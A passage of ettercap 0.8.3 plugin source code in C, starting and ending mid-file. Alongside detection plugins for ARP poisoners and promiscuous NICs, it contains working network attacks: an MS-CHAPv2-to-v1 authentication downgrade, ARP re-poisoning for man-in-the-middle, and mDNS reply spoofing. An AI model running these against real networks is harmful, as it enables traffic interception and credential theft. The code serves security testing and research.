EC_VERSION, /* the name of the plugin */ .name = "find_ip", /* a short description of the plugin (max 50 chars) */ .info = "Search an unused IP address in the subnet", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &find_ip_init, /* deactivation function */ .fini = &find_ip_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &find_ip_ops); } /******************* STANDARD FUNCTIONS *******************/ static int find_ip_init(void *dummy) { char tmp[MAX_ASCII_ADDR_LEN]; struct ip_addr *e; /* variable not used */ (void) dummy; /* don't show packets while operating */ EC_GBL_OPTIONS->quiet = 1; if (LIST_EMPTY(&EC_GBL_HOSTLIST)) { INSTANT_USER_MSG("find_ip: You have to build host-list to run this plugin.\n\n"); return PLUGIN_FINISHED; } INSTANT_USER_MSG("find_ip: Searching an unused IP address...\n"); /* If one of the targets is // search in the whole subnet */ if (EC_GBL_TARGET1->scan_all || EC_GBL_TARGET2->scan_all) e = search_netmask(); else e = search_targets(); if (e == NULL) INSTANT_USER_MSG("find_ip: No free IP address in this range :(\n"); else INSTANT_USER_MSG("find_ip: %s seems to be unused\n", ip_addr_ntoa(e, tmp)); return PLUGIN_FINISHED; } static int find_ip_fini(void *dummy) { /* variable not used */ (void) dummy; return PLUGIN_FINISHED; } /*********************************************************/ /* Check if the IP is in the host list */ static int in_list(struct ip_addr *scanip) { struct hosts_list *h; LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { if (!ip_addr_cmp(scanip, &h->ip)) { return 1; } } return 0; } /* Find first free IP address in the netmask */ static struct ip_addr *search_netmask(void) { u_int32 netmask, current, myip; int nhosts, i; static struct ip_addr scanip; netmask = *EC_GBL_IFACE->netmask.addr32; myip = *EC_GBL_IFACE->ip.addr32; /* the number of hosts in this netmask */ nhosts = ntohl(~netmask); /* scan the netmask */ for (i = 1; i <= nhosts; i++) { /* calculate the ip */ current = (myip & netmask) | htonl(i); ip_addr_init(&scanip, AF_INET, (u_char *)¤t); if (!in_list(&scanip)) return(&scanip); } return NULL; } /* Find first free IP address in the user range */ static struct ip_addr *search_targets(void) { struct ip_list *i; LIST_FOREACH(i, &EC_GBL_TARGET1->ips, next) { if (!in_list(&i->ip)) return(&i->ip); } LIST_FOREACH(i, &EC_GBL_TARGET2->ips, next) { if (!in_list(&i->ip)) return(&i->ip); } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/pptp_chapms1/0000755000175000017500000000000013505247364017331 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/pptp_chapms1/pptp_chapms1.c0000644000175000017500000001236213505247364022100 0ustar koeppeakoeppea/* pptp_chapms1 -- ettercap plugin -- Forces chapms-v1 from champs-v2 request for PPTP (easier to crack) Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include struct ppp_lcp_header { u_char code; u_char ident; u_int16 length; }; #define PPP_CONFIGURE_REQUEST 0x01 #define PPP_CONFIGURE_NAK 0x03 #define PPP_CONFIGURE_REJ 0x04 #define PPP_AUTH_REQUEST 0x03 #define PPP_REQUEST_CHAP 0xc223 #define PPP_REQUEST_MSCHAP2 0x81 #define PPP_REQUEST_MSCHAP1 0x80 #define PPP_REQUEST_DUMMY 0xe7 /* protos */ int plugin_load(void *); static int pptp_chapms1_init(void *); static int pptp_chapms1_fini(void *); static void parse_ppp(struct packet_object *po); static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len); /* plugin operations */ struct plugin_ops pptp_chapms1_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "pptp_chapms1", /* a short description of the plugin (max 50 chars) */ .info = "PPTP: Forces chapms-v1 from chapms-v2", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &pptp_chapms1_init, /* deactivation function */ .fini = &pptp_chapms1_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &pptp_chapms1_ops); } /******************* STANDARD FUNCTIONS *******************/ static int pptp_chapms1_init(void *dummy) { /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("pptp_chapms1: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } USER_MSG("pptp_chapms1: plugin running...\n"); hook_add(HOOK_PACKET_LCP, &parse_ppp); return PLUGIN_RUNNING; } static int pptp_chapms1_fini(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("pptp_chapms1: plugin terminated...\n"); hook_del(HOOK_PACKET_LCP, &parse_ppp); return PLUGIN_FINISHED; } /*********************************************************/ /* Modify ConfigureRequest LCP packets */ static void parse_ppp(struct packet_object *po) { struct ppp_lcp_header *lcp; u_int16 *option; char tmp[MAX_ASCII_ADDR_LEN]; u_char *chcode; /* It is pointless to modify packets that won't be forwarded */ if (!(po->flags & PO_FORWARDABLE)) return; /* PPP decoder placed lcp header in L4 structure. * According to the Hook Point this is an LCP packet. */ lcp = (struct ppp_lcp_header *)po->L4.header; /* Catch only packets that have to be modified */ if ( lcp->code != PPP_CONFIGURE_REQUEST && lcp->code != PPP_CONFIGURE_NAK && lcp->code != PPP_CONFIGURE_REJ) return; if ( (option=(u_int16 *)parse_option( (u_char *)(lcp + 1), PPP_AUTH_REQUEST, ntohs(lcp->length) - sizeof(*lcp))) ==NULL) return; if ( option[1] != htons(PPP_REQUEST_CHAP) ) return; /* Take a look to chap kind of auth */ chcode = (u_char *)option; /* Modify the negotiation */ if (lcp->code == PPP_CONFIGURE_REQUEST && chcode[4] == PPP_REQUEST_MSCHAP2) { chcode[4] = PPP_REQUEST_DUMMY; if (!ip_addr_null(&po->L3.dst) && !ip_addr_null(&po->L3.src)) { USER_MSG("pptp_chapms1: Forced PPP MS-CHAPv1 auth %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); } } if (lcp->code == PPP_CONFIGURE_NAK && chcode[4] == PPP_REQUEST_MSCHAP2) chcode[4] = PPP_REQUEST_MSCHAP1; if (lcp->code == PPP_CONFIGURE_REJ && chcode[4] == PPP_REQUEST_DUMMY) chcode[4] = PPP_REQUEST_MSCHAP2; } /* Search an option in the packet */ static u_char *parse_option(u_char * buffer, u_char option, int16 tot_len) { /* Avoid never-ending parsing on bogus packets ;) */ char counter=0; while (tot_len>0 && *buffer!=option && counter<20) { tot_len -= buffer[1]; buffer += buffer[1]; counter++; } if (*buffer == option) return buffer; return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/repoison_arp/0000755000175000017500000000000013505247364017432 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/repoison_arp/repoison_arp.c0000644000175000017500000001072613505247364022304 0ustar koeppeakoeppea/* repoison_arp -- ettercap plugin -- Repoison after a broadcast ARP Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include /* protos */ int plugin_load(void *); static int repoison_arp_init(void *); static int repoison_arp_fini(void *); static void repoison_func(struct packet_object *po); void repoison_victims(void *group_ptr, struct packet_object *po); /* plugin operations */ struct plugin_ops repoison_arp_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "repoison_arp", /* a short description of the plugin (max 50 chars) */ .info = "Repoison after broadcast ARP", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &repoison_arp_init, /* deactivation function */ .fini = &repoison_arp_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &repoison_arp_ops); } /******************* STANDARD FUNCTIONS *******************/ static int repoison_arp_init(void *dummy) { /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("repoison_arp: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } hook_add(HOOK_PACKET_ARP_RQ, &repoison_func); hook_add(HOOK_PACKET_ARP_RP, &repoison_func); return PLUGIN_RUNNING; } static int repoison_arp_fini(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("repoison_arp: plugin terminated...\n"); hook_del(HOOK_PACKET_ARP_RQ, &repoison_func); hook_del(HOOK_PACKET_ARP_RP, &repoison_func); return PLUGIN_FINISHED; } /*********************************************************/ /* Poison one target list */ void repoison_victims(void *group_ptr, struct packet_object *po) { struct hosts_list *t; LIST_HEAD(, hosts_list) *group_head = group_ptr; LIST_FOREACH(t, group_head, next) { ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay)); /* equal ip must be skipped, you cant poison itself */ if (!ip_addr_cmp(&t->ip, &po->L3.src)) continue; if (!EC_GBL_CONF->arp_poison_equal_mac) /* skip even equal mac address... */ if (!memcmp(t->mac, po->L2.src, MEDIA_ADDR_LEN)) continue; if (EC_GBL_CONF->arp_poison_reply) send_arp(ARPOP_REPLY, &po->L3.src, EC_GBL_IFACE->mac, &t->ip, t->mac); if (EC_GBL_CONF->arp_poison_request) send_arp(ARPOP_REQUEST, &po->L3.src, EC_GBL_IFACE->mac, &t->ip, t->mac); } } /* Re-poison caches that update on legal broadcast ARP requests */ static void repoison_func(struct packet_object *po) { struct hosts_list *t; /* if arp poisonin is not running, do nothing */ if (!is_mitm_active("arp")) return; /* Check the target address */ if (memcmp(po->L2.dst, ARP_BROADCAST, MEDIA_ADDR_LEN)) return; /* search in target 2 */ LIST_FOREACH(t, &arp_group_two, next) if (!ip_addr_cmp(&t->ip, &po->L3.src)) { repoison_victims(&arp_group_one, po); break; } /* search in target 1 */ LIST_FOREACH(t, &arp_group_one, next) if (!ip_addr_cmp(&t->ip, &po->L3.src)) { repoison_victims(&arp_group_two, po); break; } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/scan_poisoner/0000755000175000017500000000000013505247364017574 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/scan_poisoner/scan_poisoner.c0000644000175000017500000001430513505247364022605 0ustar koeppeakoeppea/* scan_poisoner -- ettercap plugin -- Actively search other poisoners It checks the hosts list, searching for eqaul mac addresses. It also sends icmp packets to see if any ip-mac association has changed. Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include /* globals */ char flag_strange; /* mutexes */ static pthread_mutex_t scan_poisoner_mutex = PTHREAD_MUTEX_INITIALIZER; /* protos */ int plugin_load(void *); static int scan_poisoner_init(void *); static EC_THREAD_FUNC(scan_poisoner_thread); static int scan_poisoner_fini(void *); static void parse_icmp(struct packet_object *po); /* plugin operations */ struct plugin_ops scan_poisoner_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "scan_poisoner", /* a short description of the plugin (max 50 chars) */ .info = "Actively search other poisoners", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &scan_poisoner_init, /* deactivation function */ .fini = &scan_poisoner_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &scan_poisoner_ops); } /******************* STANDARD FUNCTIONS *******************/ static int scan_poisoner_init(void *dummy) { /* variable not used */ (void) dummy; ec_thread_new("scan_poisoner", "plugin scan_poisoner", &scan_poisoner_thread, NULL); return PLUGIN_RUNNING; } static EC_THREAD_FUNC(scan_poisoner_thread) { /* variable not used */ (void) EC_THREAD_PARAM; char tmp1[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; struct hosts_list *h1, *h2; ec_thread_init(); PLUGIN_LOCK(scan_poisoner_mutex); /* don't show packets while operating */ EC_GBL_OPTIONS->quiet = 1; if (LIST_EMPTY(&EC_GBL_HOSTLIST)) { INSTANT_USER_MSG("scan_poisoner: You have to build host-list to run this plugin.\n\n"); PLUGIN_UNLOCK(scan_poisoner_mutex); plugin_kill_thread("scan_poisoner", "scan_poisoner"); return PLUGIN_FINISHED; } INSTANT_USER_MSG("scan_poisoner: Checking hosts list...\n"); flag_strange = 0; /* Compares mac address of each host with any other */ LIST_FOREACH(h1, &EC_GBL_HOSTLIST, next) for(h2=LIST_NEXT(h1,next); h2!=LIST_END(&EC_GBL_HOSTLIST); h2=LIST_NEXT(h2,next)) if (!memcmp(h1->mac, h2->mac, MEDIA_ADDR_LEN)) { flag_strange = 1; INSTANT_USER_MSG("scan_poisoner: - %s and %s have same MAC address\n", ip_addr_ntoa(&h1->ip, tmp1), ip_addr_ntoa(&h2->ip, tmp2)); } if (!flag_strange) INSTANT_USER_MSG("scan_poisoner: - Nothing strange\n"); flag_strange=0; /* Can't continue in unoffensive */ if (EC_GBL_OPTIONS->unoffensive || EC_GBL_OPTIONS->read) { INSTANT_USER_MSG("\nscan_poisoner: Can't make active test in UNOFFENSIVE mode.\n\n"); PLUGIN_UNLOCK(scan_poisoner_mutex); plugin_kill_thread("scan_poisoner", "scan_poisoner"); return PLUGIN_FINISHED; } INSTANT_USER_MSG("\nscan_poisoner: Actively searching poisoners...\n"); /* Add the hook to collect ICMP replies from the victim */ hook_add(HOOK_PACKET_ICMP, &parse_icmp); /* Send ICMP echo request to each target */ LIST_FOREACH(h1, &EC_GBL_HOSTLIST, next) { send_L3_icmp_echo(&EC_GBL_IFACE->ip, &h1->ip); ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay)); } /* wait for the response */ ec_usleep(SEC2MICRO(1)); /* remove the hook */ hook_del(HOOK_PACKET_ICMP, &parse_icmp); /* We don't need mutex on it :) */ if (!flag_strange) INSTANT_USER_MSG("scan_poisoner: - Nothing strange\n"); PLUGIN_UNLOCK(scan_poisoner_mutex); plugin_kill_thread("scan_poisoner", "scan_poisoner"); return PLUGIN_FINISHED; } static int scan_poisoner_fini(void *dummy) { /* variable not used */ (void) dummy; pthread_t pid; pid = ec_thread_getpid("scan_poisoner"); if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); INSTANT_USER_MSG("scan_poisoner: plugin terminated...\n"); return PLUGIN_FINISHED; } /*********************************************************/ /* Check icmp replies */ static void parse_icmp(struct packet_object *po) { struct hosts_list *h1, *h2; char poisoner[MAX_ASCII_ADDR_LEN]; char tmp[MAX_ASCII_ADDR_LEN]; /* If the poisoner is not in the hosts list */ sprintf(poisoner, "UNKNOWN"); /* Check if the reply contains the correct ip/mac association */ LIST_FOREACH(h1, &EC_GBL_HOSTLIST, next) { if (!ip_addr_cmp(&(po->L3.src), &h1->ip) && memcmp(po->L2.src, h1->mac, MEDIA_ADDR_LEN)) { flag_strange = 1; /* Check if the mac address of the poisoner is in the hosts list */ LIST_FOREACH(h2, &EC_GBL_HOSTLIST, next) if (!memcmp(po->L2.src, h2->mac, MEDIA_ADDR_LEN)) ip_addr_ntoa(&h2->ip, poisoner); INSTANT_USER_MSG("scan_poisoner: - %s is replying for %s\n", poisoner, ip_addr_ntoa(&h1->ip, tmp)); } } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/find_conn/0000755000175000017500000000000013505247364016667 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/find_conn/find_conn.c0000644000175000017500000000547613505247364021004 0ustar koeppeakoeppea/* find_conn -- ettercap plugin -- Search connections on a switched LAN Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include /* protos */ int plugin_load(void *); static int find_conn_init(void *); static int find_conn_fini(void *); static void parse_arp(struct packet_object *po); /* plugin operations */ struct plugin_ops find_conn_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "find_conn", /* a short description of the plugin (max 50 chars) */ .info = "Search connections on a switched LAN", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &find_conn_init, /* deactivation function */ .fini = &find_conn_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &find_conn_ops); } /******************* STANDARD FUNCTIONS *******************/ static int find_conn_init(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("find_conn: plugin running...\n"); hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); return PLUGIN_RUNNING; } static int find_conn_fini(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("find_conn: plugin terminated...\n"); hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); return PLUGIN_FINISHED; } /*********************************************************/ /* Parse the arp request */ static void parse_arp(struct packet_object *po) { char tmp1[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; USER_MSG("find_conn: Probable connection attempt %s -> %s\n", ip_addr_ntoa(&po->L3.src, tmp1), ip_addr_ntoa(&po->L3.dst, tmp2)); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/search_promisc/0000755000175000017500000000000013505247364017733 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/search_promisc/search_promisc.c0000644000175000017500000001455013505247364023105 0ustar koeppeakoeppea/* search_promisc -- ettercap plugin -- Search promisc NICs in the LAN It sends malformed arp reqeusts and waits for replies. Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include /* globals */ LIST_HEAD(, hosts_list) promisc_table; LIST_HEAD(, hosts_list) collected_table; /* mutexes */ static pthread_mutex_t search_promisc_mutex = PTHREAD_MUTEX_INITIALIZER; /* protos */ int plugin_load(void *); static int search_promisc_init(void *); static EC_THREAD_FUNC(search_promisc_thread); static int search_promisc_fini(void *); static void parse_arp(struct packet_object *po); /* plugin operations */ struct plugin_ops search_promisc_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "search_promisc", /* a short description of the plugin (max 50 chars) */ .info = "Search promisc NICs in the LAN", /* the plugin version. */ .version = "1.2", /* activation function */ .init = &search_promisc_init, /* deactivation function */ .fini = &search_promisc_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &search_promisc_ops); } /******************* STANDARD FUNCTIONS *******************/ static int search_promisc_init(void *dummy) { /* variable not used */ (void) dummy; ec_thread_new("search_promisc", "plugin search_promisc", &search_promisc_thread, NULL); return PLUGIN_RUNNING; } static EC_THREAD_FUNC(search_promisc_thread) { /* variable not used */ (void) EC_THREAD_PARAM; char tmp[MAX_ASCII_ADDR_LEN]; struct hosts_list *h; u_char bogus_mac[2][6]={"\xfd\xfd\x00\x00\x00\x00", "\xff\xff\x00\x00\x00\x00"}; char messages[2][48]={"\nLess probably sniffing NICs:\n", "\nMost probably sniffing NICs:\n"}; u_char i; ec_thread_init(); PLUGIN_LOCK(search_promisc_mutex); /* don't show packets while operating */ EC_GBL_OPTIONS->quiet = 1; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("search_promisc: plugin doesn't work in UNOFFENSIVE mode.\n\n"); PLUGIN_UNLOCK(search_promisc_mutex); plugin_kill_thread("search_promisc", "search_promisc"); return PLUGIN_FINISHED; } if (LIST_EMPTY(&EC_GBL_HOSTLIST)) { INSTANT_USER_MSG("search_promisc: You have to build host-list to run this plugin.\n\n"); PLUGIN_UNLOCK(search_promisc_mutex); plugin_kill_thread("search_promisc", "search_promisc"); return PLUGIN_FINISHED; } INSTANT_USER_MSG("search_promisc: Searching promisc NICs...\n"); /* We have to perform same operations twice :) */ for (i=0; i<=1; i++) { /* Add the hook to collect ARP replies from the targets */ hook_add(HOOK_PACKET_ARP_RP, &parse_arp); /* Send malformed ARP requests to each target. * First and second time we'll use different * dest mac addresses */ LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { send_arp(ARPOP_REQUEST, &EC_GBL_IFACE->ip, EC_GBL_IFACE->mac, &h->ip, bogus_mac[i]); ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay)); } /* Wait for responses */ ec_usleep(SEC2MICRO(1)); /* Remove the hook */ hook_del(HOOK_PACKET_ARP_RP, &parse_arp); /* Print results */ INSTANT_USER_MSG(messages[i]); if(LIST_EMPTY(&promisc_table)) INSTANT_USER_MSG("- NONE \n"); else LIST_FOREACH(h, &promisc_table, next) INSTANT_USER_MSG("- %s\n",ip_addr_ntoa(&h->ip, tmp)); /* Delete the list */ while (!LIST_EMPTY(&promisc_table)) { h = LIST_FIRST(&promisc_table); LIST_REMOVE(h, next); SAFE_FREE(h); } } /* Delete the list */ while (!LIST_EMPTY(&collected_table)) { h = LIST_FIRST(&collected_table); LIST_REMOVE(h, next); SAFE_FREE(h); } PLUGIN_UNLOCK(search_promisc_mutex); plugin_kill_thread("search_promisc", "search_promisc"); return PLUGIN_FINISHED; } static int search_promisc_fini(void *dummy) { /* variable not used */ (void) dummy; pthread_t pid; pid = ec_thread_getpid("search_promisc"); if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); INSTANT_USER_MSG("search_promisc: plugin terminated...\n"); return PLUGIN_FINISHED; } /*********************************************************/ /* Parse the reply to our bougs requests */ static void parse_arp(struct packet_object *po) { struct hosts_list *h; /* We'll parse only replies for us */ if (memcmp(po->L2.dst, EC_GBL_IFACE->mac, MEDIA_ADDR_LEN)) return; /* Check if it's already in the list */ LIST_FOREACH(h, &collected_table, next) if (!ip_addr_cmp(&(po->L3.src), &h->ip)) { return; } /* create the element and insert it in the two lists */ SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &(po->L3.src), sizeof(struct ip_addr)); LIST_INSERT_HEAD(&promisc_table, h, next); SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &(po->L3.src), sizeof(struct ip_addr)); LIST_INSERT_HEAD(&collected_table, h, next); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/mdns_spoof/0000755000175000017500000000000013505247364017101 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/mdns_spoof/mdns_spoof.c0000644000175000017500000006747313505247364021435 0ustar koeppeakoeppea/* mdns_spoof -- ettercap plugin -- spoofs mdns replies Copyright (C) Ettercap Development Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include #include #include #include #ifndef ns_t_wins #define ns_t_wins 0xFF01 /* WINS name lookup */ #endif #define MDNS_QU_FLAG 0x8000 struct mdns_header { uint16_t id; uint16_t flags; uint16_t questions; uint16_t answer_rrs; uint16_t auth_rrs; uint16_t additional_rrs; }; struct mdns_spoof_entry { int type; /* ns_t_a, ns_t_ptr, ns_t_srv */ char *name; struct ip_addr ip; u_int16 port; /* for SRV records */ SLIST_ENTRY(mdns_spoof_entry) next; }; static SLIST_HEAD(, mdns_spoof_entry) mdns_spoof_head; /* protos */ int plugin_load(void *); static int mdns_spoof_init(void *); static int mdns_spoof_fini(void *); static int load_db(void); static void mdns_spoof(struct packet_object *po); static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p); static int get_spoofed_a(const char *a, struct ip_addr **ip); static int get_spoofed_aaaa(const char *a, struct ip_addr **ip); static int get_spoofed_ptr(const char *arpa, char **a, struct ip_addr **ip); static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port); static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_addr **sender, struct ip_addr **target, u_int8 **tmac , struct ip_addr *reply); char *type_str(int type); static void mdns_spoof_dump(void); /* plugin operations */ struct plugin_ops mdns_spoof_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "mdns_spoof", /* a short description of the plugin (max 50 chars) */ .info = "Sends spoofed mDNS replies", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &mdns_spoof_init, /* deactivation function */ .fini = &mdns_spoof_fini, }; /* this function is called on plugin load */ int plugin_load(void *handle) { /* load the database of spoofed replies (etter.dns) * return an error if we could not open the file */ if (load_db() != E_SUCCESS) return -E_INVALID; mdns_spoof_dump(); return plugin_register(handle, &mdns_spoof_ops); } static int mdns_spoof_init(void *dummy) { /* variable not used */ (void) dummy; /* * add the hook in the dissector. * this will pass only valid dns packets */ hook_add(HOOK_PROTO_MDNS, &mdns_spoof); return PLUGIN_RUNNING; } static int mdns_spoof_fini(void *dummy) { /* variable not used */ (void) dummy; /* remove the hook */ hook_del(HOOK_PROTO_MDNS, &mdns_spoof); return PLUGIN_FINISHED; } /* * load the database in the list */ static int load_db(void) { struct mdns_spoof_entry *d; FILE *f; char line[128]; char *ptr, *ip, *name; int lines = 0, type; u_int16 port = 0; /* open the file */ f = open_data("etc", ETTER_MDNS, FOPEN_READ_TEXT); if (f == NULL) { USER_MSG("mdns_spoof: Cannot open %s\n", ETTER_MDNS); return -E_INVALID; } /* load it in the list */ while (fgets(line, 128, f)) { /* count the lines */ lines++; /* trim comments */ if ( (ptr = strchr(line, '#')) ) *ptr = '\0'; /* skip empty lines */ if (!*line || *line == '\r' || *line == '\n') continue; /* strip apart the line */ if (!parse_line(line, lines, &type, &ip, &port, &name)) continue; /* create the entry */ SAFE_CALLOC(d, 1, sizeof(struct mdns_spoof_entry)); d->name = strdup(name); d->type = type; d->port = port; /* convert the ip address and fill the struct */ if (ip_addr_pton(ip, &d->ip) != E_SUCCESS) { USER_MSG("mdns_spoof: %s:%d Invalid IPv4 or IPv6 address\n", ETTER_MDNS, lines); SAFE_FREE(d); continue; } /* insert in the list */ SLIST_INSERT_HEAD(&mdns_spoof_head, d, next); } fclose(f); return E_SUCCESS; } /* * Parse line on format " ". */ static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p) { static char name[100+1]; static char ip[MAX_ASCII_ADDR_LEN]; static int port; char type[10+1]; DEBUG_MSG("mdns_spoof: %s:%d str '%s'", ETTER_MDNS, line, str); if (sscanf(str,"%100s %10s %40[^\r\n# ]", name, type, ip) != 3) { USER_MSG("mdns_spoof: %s:%d Invalid entry %s\n", ETTER_MDNS, line, str); return (0); } if (!strcasecmp(type,"PTR")) { if (strpbrk(name,"*?[]")) { USER_MSG("mdns_spoof: %s:%d Wildcards in PTR records are not allowed; %s\n", ETTER_MDNS, line, str); return (0); } *type_p = ns_t_ptr; *name_p = name; *ip_p = ip; return (1); } if (!strcasecmp(type,"A")) { *type_p = ns_t_a; *name_p = name; *ip_p = ip; return (1); } if (!strcasecmp(type,"AAAA")) { *type_p = ns_t_aaaa; *name_p = name; *ip_p = ip; return (1); } if (!strcasecmp(type, "SRV")) { /* * Additional format scan as SRV records have a different syntax */ static char ip_tmp[MAX_ASCII_ADDR_LEN]; if (sscanf(ip, "[%40[0-9a-fA-F:.]]:%d", ip_tmp, &port) == 2) { strncpy(ip, ip_tmp, strlen(ip_tmp)+1); } else if (sscanf(ip, "%20[0-9.]:%d", ip_tmp, &port) == 2) { strncpy(ip, ip_tmp, strlen(ip_tmp)+1); } else { USER_MSG("mdns_spoof: %s:%d Unknown syntax for SRV record; %s\n", ETTER_MDNS, line, str); return 0; } if (port > 0xffff || port <= 0) { USER_MSG("mdns_spoof: %s:%d Invalid value for port: %d\n", ETTER_MDNS, line, port); return 0; 